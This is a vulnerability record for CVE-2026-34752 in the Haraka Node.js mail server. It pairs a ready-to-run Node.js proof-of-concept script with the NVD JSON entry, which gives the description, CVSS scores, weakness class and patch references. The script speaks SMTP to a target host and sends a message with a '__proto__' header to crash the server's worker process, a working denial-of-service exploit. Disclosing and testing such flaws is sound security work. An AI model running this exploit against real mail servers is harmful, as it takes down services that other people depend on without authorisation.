CVE-2026-34752

// PoC for CVE-2026-34752 // This script sends an email with a '__proto__' header to crash the Haraka worker process. const net = require('net'); const targetHost = '127.0.0.1'; // Replace with target IP const targetPort = 25; const socket = net.connect(targetPort, targetHost, () => { console.log('[+] Connected to target'); // SMTP Handshake socket.write('EHLO poc.example.com\r\n'); setTimeout(() => { // MAIL FROM socket.write('MAIL FROM: <[email protected]>\r\n'); }, 500); setTimeout(() => { // RCPT TO socket.write('RCPT TO: <[email protected]>\r\n'); }, 1000); setTimeout(() => { // DATA command socket.write('DATA\r\n'); }, 1500); setTimeout(() => { // Malicious payload: Sending '__proto__' header // This triggers the vulnerability in Haraka < 3.1.4 let payload = 'Subject: Crash Test\r\n'; payload += '__proto__: crash\r\n'; // The vulnerable header payload += '\r\n'; payload += 'This email will crash the server.\r\n'; payload += '.\r\n'; // End of data marker socket.write(payload); console.log('[+] Payload sent'); }, 2000); setTimeout(() => { socket.end(); }, 3000); }); socket.on('error', (err) => { console.error('[-] Connection error:', err.message); });

{"cve": {"id": "CVE-2026-34752", "sourceIdentifier": "[email protected]", "published": "2026-04-02T19:21:33.517", "lastModified": "2026-04-03T19:50:42.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Haraka is a Node.js mail server. Prior to version 3.1.4, sending an email with __proto__: as a header name crashes the Haraka worker process. This issue has been patched in version 3.1.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:haraka_project:haraka:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.1.4", "matchCriteriaId": "C9BE9F60-CFA3-4F1C-808B-626BA5DCE6D2"}]}]}], "references": [{"url": "https://github.com/haraka/Haraka/releases/tag/v3.1.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/haraka/Haraka/security/advisories/GHSA-xph3-r2jf-4vp3", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}